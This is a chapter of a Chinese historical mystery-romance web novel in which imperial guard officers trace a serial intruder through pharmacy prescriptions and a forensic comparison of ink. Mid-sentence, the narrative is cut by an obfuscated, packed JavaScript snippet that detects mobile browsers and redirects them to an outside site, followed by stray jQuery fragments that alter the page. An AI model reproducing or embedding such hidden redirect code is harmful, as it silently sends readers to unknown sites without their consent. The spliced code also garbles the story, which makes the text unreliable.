成珏面色还是如往常一般冷静,她不知道薛灵玥会怎么想,是觉得她天真,还是野心太大?
但薛灵玥却笑了,眼中流光转转:“好志向!咱们右卫那么多女子,若人人都像你一样有这份胆量和气魄,何愁天下女子有志难酬呢!”
“你当真这么想?”成珏脸上一松,不禁绽出笑意。
“那怎么会有假呢!”薛灵玥摸摸鼻子,“不瞒你说,我是个没有志向的人,整日净想着做完眼前的差事就罢了,从未想过自己以后要做什么才好。”
她悻悻地拖住双颊,毕竟若非想救下阿耶的性命,或许她永远不会从朔州来到长安……
成珏叹了口气:“咱们女子虽能做官,却总叫男人压了一头去,你我身为女官若不事事争先,寻常人家的女子岂不是更难有出头之日?”
“介时寻个夫家嫁了,终日困在后宅与那些儿女琐事作伴,人生还有什么乐趣!”她说罢,端起茶杯一饮而尽。
…………
武宁卫内牢灯烛熠熠,廊道尽头的一间囚室却格外干净整洁,与门外肃杀血腥的气氛截然不同。
林逸之手中攥着一叠方子,熟门熟路地推开门,一进屋,见门边放了两个崭新的竹篮,调侃道:“大人待你可真是亲近,便是亲儿子也没这么上心的。”
林逸之幼时曾拜在昔年的左卫参谋门下,故而也算与秦艽自小交情甚笃,两人之间说话从来没个轻重隔阂。
果然秦艽眼皮都懒得抬,薄唇轻启,吐出两个字:“有事?”
青年撩袍岔腿,一屁股坐在秦艽对面,上挑的桃花眼中满是懒散,抱怨道:“找了一整日的药铺,累得腰酸腿乏,回来还要看你脸色,这活儿我是干不了了。”
秦艽睨着他,身形岿然不动,像是在问既然这样怎么还不滚。
林逸之噎了一噎:“你这狗脾气到底是随了谁?”
“我还真想知道我爹什么脾气。”秦艽冷笑,复又去拨手中的墨。
两人中间狭长的桌案上摆满了各色的盘器,竹夹,还有几个盛放清水的瓷碗,甚至拥挤,唯恐不留神就要打翻一片。
屋中四角还多添了两盏油灯,照得这间狭窄的牢房犹如白昼。这是秦艽特意让梁元直拿进来的,一方面用于烘烤,也免他看不清楚忙中出错。
“可是谁惹你不快了,”林逸之不敢再惹他,四下看看:“送来的饭菜不合口?”
秦艽是左卫最年轻的弟子,自小他们便总拿他当自家幼弟哄,孩子的心性,阴晴不定也是常态。但秦艽不做声,一味地低头拨弄那几张字条。
林逸之弯腰一看,明亮灯火下少年眉头轻蹙,清俊的脸上写满了不高兴,这小性子耍的,怎么还撅上嘴了?
琢磨怎么开口的功夫,门外隐隐传来一道脆亮的声音:“不用,我与成姐姐直接进去就是!”
音色过于熟悉,林逸之探究的目光下意识看向秦艽,只见对方耳尖微动,嘴撅得更高了,手上一张一张不住地翻找药方,力气大得将纸张划得哗哗响,好像跟它有仇一样。
林逸之顿时仿佛参悟了机要。
他饶有兴致地退后半步,静等着来人。
几息过后,薛灵玥急呼呼地推开门,脸颊泛着淡淡的薄粉,轻喘道:“我们没来晚吧!”
秦艽瞄她一眼,又别开脸。
“来得正好,秦校尉掐着点就等你们呢。”林逸之语调轻快地揶揄,视线对上她身后的成珏:“你们今日可有线索?”
成珏点点头,拿出包袱里的东西。
三人互相看了看,林逸之指着那叠方子给她俩比划:“光一间铺子,上月买菟丝子的人足足有几十人,从二八少妇到五旬老妇,字迹没一个重样的,与那几张采花贼的字条通通对不上。”
薛灵玥心中好奇,伸手接过方子目光一扫,大多兼有山药、萸肉、枸杞子、菟丝子、杜仲、熟附子、当归、鹿角胶等等。
“这几副都是些用量甚大的虎狼之药,掌柜得怕吃出好歹惹上麻烦,才要人留下方子作证。”林逸之双臂交叉在胸前,正要凑身去看那块墨,逼仄的囚室响起薛灵玥亮堂堂的大嗓门:
“怎么都是女子来买,这固精止泻的药不是给男人用的吗?”
成珏噗嗤一声,自经转过身去面壁,肩膀一抖一抖的。
林逸之看了眼秦艽,轻哼道:“你这丫头,还没心上人罢?”
薛灵玥不悦地拧起眉毛,这有什么关系?
她刚要开口,秦艽冷不防咳嗽两声,不满道:“你们要说出去说,我要处理字条了。”
薛灵玥最听话,她倏地捂住嘴巴,但一双黑白分明的大眼睛会说话似的,看看他,又看看成珏和林逸之。
秦艽哼道:“要不你们先说完。”
薛灵玥眨眨眼,十分无辜:“我没说话。”
成珏笑够了,也闹不懂他作什么妖,便一手一个把薛灵玥和林逸之拉到墙边,催促道:“你快些弄罢,一会儿灵玥特意给你买得吃食都要凉了。”
秦艽闻言手上一顿,心口的郁气登时消散大半,跑得无影无踪。
他嘴角下意识弯起,眼里也扬起笑意,余光见薛灵玥不解地看过来,秦艽又赶紧把嘴角压下:“先放一旁吧,我先试着将这点墨剔出比对。”
三人各自找了地方坐下,给秦艽露出足够的空间操作。
他将字条翻转,平整得铺在一张雪白的厚纸垫上,先用两滴清水将宣纸从背面润透,看墨色透出却不晕,再用竹镊轻轻绕圈刮动,力度轻柔,确保不将宣纸揉碎。
待清水慢慢下渗,下方的纸垫染上墨迹,再将粘连着底层墨痕的宣纸夹起,置于托盘之上,用烛火隔空炙烤,蒸干水分,让上方的墨迹再次凝固。
薛灵玥看得十分入迷,等秦艽将处理好的纸片收起,她还有些意犹未尽。
秦艽将字条夹起,送到她面前:“闻闻看,与淮南王家的墨是不是类似?字条上方的墨品较劣质,极易结块,所以上有一丝剔出的可能,但也只是试试罢了。”
薛灵玥嗅了嗅,递给成珏。
成珏干脆摆摆手:“你俩是狗鼻子灵得很,我不行。”
薛灵玥看着秦艽:“是像,但我们都不敢肯定,这能作为证据吗?”
秦艽将淮南王的那块墨磨了些许,“只是佐证罢了。”
“捉贼拿赃,捉奸成双,今日你们上门会不会打草惊蛇?”
听着林逸之的马后炮,成珏呛道:“不上门,我们难道去偷淮南王的墨?”
“你们不必多虑这些,”秦艽把两份墨迹摆在一处,拿起旁边的帕子擦了擦手:“还记得卷宗吗,这采花贼三次都挑人家丈夫宿在房中时进去犯案,显然他最大的爱好就是挑衅对方。”
把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379950|184107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人丈夫药倒,再下手,真是十足的恶趣味。
“墨渍相像,淮南王就算写了一手丑字也摆脱不了嫌疑,我们调几个人先将王府暗中围起来罢。”成珏道。
薛灵玥想了想:“越王那边也不能放了。”
林逸之摸摸下巴:“越王一事是否先请示二位指挥使大人?”
成珏绷着脸颊,没做声。
当年还是郡王的圣人带兵突袭北凉,行至岐山,文皇后突然生产,于晨曦时在百里荒芜的沙场中诞下二人的长女,据传当日红光漫天,神迹笼罩。
众人因此士气大振,一举攻破北凉都城,昆山以北尽数归附。之后李氏一族有女“凤鸣于歧山”的传说很快在军中蔓延,其祖父自然当为真龙天子,众望所归。
旬月后,太祖依言在陇右道称帝,定国号大周,年号乾元。
登基不到十日,太祖皇帝便亲封其为长乐郡主,享食邑万户,品阶超越一众亲王。后太祖薨,圣人继位,亦对她宠爱非常,登基后即刻晋为长乐公主,自七年前文皇后病逝,中宫一切都交由公主处置。
说她是大周朝最有权势的公主毫不为过。
但成珏的顾虑秦艽完全不在乎,他悠哉悠哉道:“不打紧,一会儿先去禀报宋大人说淮南王有异,我们要派几个暗哨,而后我与灵玥再借着查淮南王的名义接近越王。”
他暗戳戳的小心思薛灵玥毫无察觉,还在大方的夸赞他:“这个法子好,谁也不得罪。”
“那就这么办吧,我与林逸之去禀报二位大人,你们一会儿去见越王,遇事晚上回来商议。”成珏直截了当,准备与林逸之先行离开。
林逸之磨磨蹭蹭,一会摸摸砚台,一会看看灯,就不肯走。他支着耳朵,还想多看会儿秦艽的热闹,怎料成珏直接从后面轻踹了他一脚,“还不快点!”
身后石门发出重重的叩响,囚室恢复寂静。薛灵玥献宝似的把吃食拿出来,“这可是焦氏肉饼,平日要排好久才能买到呢!”
因为一直被她抱在怀中,那几个饼子竟还是温热的。
秦艽小心地接过来,想到她一直抱着这物,他不禁有些心猿意马,脸色微红地吃了几口,别扭道:“就这玩意儿排了你一天一宿啊?”
薛灵玥咯咯笑起来,银串儿似清透的笑声荡在狭窄的囚室之间。她下意识舔了舔嘴角,认真道:“我可是一个都没吃,全留给你了。”
直白又简洁的话语让秦艽心头一热,满腔的感动如滚滚红潮推动着那抹莫名的悸动,他低头再看手里那饼,也觉得它仿似什么仙丹妙药,长得格外漂亮诱人。
浑然不知薛灵玥是被午膳那两道糕点撑得直打嗝,一口也咽不下了才全留给他的。
秦艽红着脸吃饼子,薛灵玥快人快语,三言两语将两位师父要挟诚意侯的事讲了,又道:“不过诚意侯世子跟你是什么交情,为何小心客气地邀你去府上?”
秦艽闻言咀嚼的动作不自觉放慢,眼神闪烁一下,不自然地清了清嗓子,“我哪儿知道,许是以为我被误伤得半死不活,怕伤了与师父的颜面。”
“哦……”薛灵玥若有所思地转转眼睛,没有再问。
待用罢饭食,净手净面,二人一同离开内牢。
短短三日,如隔三秋,走出昏暗的囚室,秦艽长舒了一口气,侧身看着薛灵玥,卖了个关子:“先随我去个地方。”